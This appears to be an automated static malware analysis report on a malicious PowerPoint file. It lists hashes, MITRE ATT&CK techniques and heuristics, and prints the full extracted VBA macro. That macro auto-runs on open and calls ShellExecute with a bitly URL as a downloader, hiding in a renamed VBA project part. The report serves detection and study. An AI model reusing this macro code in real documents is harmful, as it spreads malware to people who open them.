Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 dfbce8af782dc90d…

MALICIOUS

Office (OOXML)

11.3 KB First seen: 2021-10-23
MD5: 3ff57e34cdbfffc45f0cf9b9578d5982 SHA-1: 7bf5c49a1f1aa12ae40cd22d1c675dacf47b8ca0 SHA-256: dfbce8af782dc90df9c661e7eb164f0ef0ef39e844db9ba76250406040b2d0a3
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The OOXML file contains a VBA macro with an Auto_Open subroutine, which is a common technique for executing malicious code upon opening the document. The script attempts to execute a payload from the URL http://bitly.com/asdasdjqwhdioquwhk using CreateObject and ShellExecute, indicating a downloader or dropper functionality. The presence of a renamed VBA project part suggests an attempt to evade detection.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/BVA.b)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    'obj12.VBAFormat
Set objMMC1 = CreateObject("new:13709620-C279-11CE-A49E-444553540000")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module11"
Sub auto_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://bitly.com/asdasdjqwhdioquwhk In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2170 bytes
SHA-256: 626075102136e5e888664d50f3658bd0a43d2a35352e24cfd6f019bc1f4b448a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub VBAFormat()

Dim obj As New Class11




Dim p As Presentation: Set p = ActivePresentation
Dim s As Slide
Dim sh As Shape
For Each s In p.Slides
    For Each sh In s.Shapes
        If sh.HasTextFrame Then
            If sh.TextFrame.HasText Then
                obj.mopas sh.TextFrame.TextRange.Text
            End If
        End If
    Next
Next



End Sub

Attribute VB_Name = "Module11"
Sub auto_open()


Dim obj As New Class1

obj.VBAFormat




End Sub

Attribute VB_Name = "Class111"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Minterger(ByVal VBA2 As String)


Dim obj As New Class12

obj _
.MainCallex VBA2


End Sub

Attribute VB_Name = "Class12"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Sub MainCallex(ByVal dd As String)

Dim obj12 As New Class1
'obj12.VBAFormat
Set objMMC1 = CreateObject("new:13709620-C279-11CE-A49E-444553540000")


objMMC1.ShellExecute dd, "http://bitly.com/asdasdjqwhdioquwhk", "", "", 0


End Sub

Attribute VB_Name = "Class11"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub mopas(ByVal VBA As String)

Dim obj As New Class111
obj _
.Minterger VBA



End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/BVA.b 27648 bytes
SHA-256: c871e05d406199d455a8a2b2e62e3281d531dde63a16d16262fb82df45c8b816

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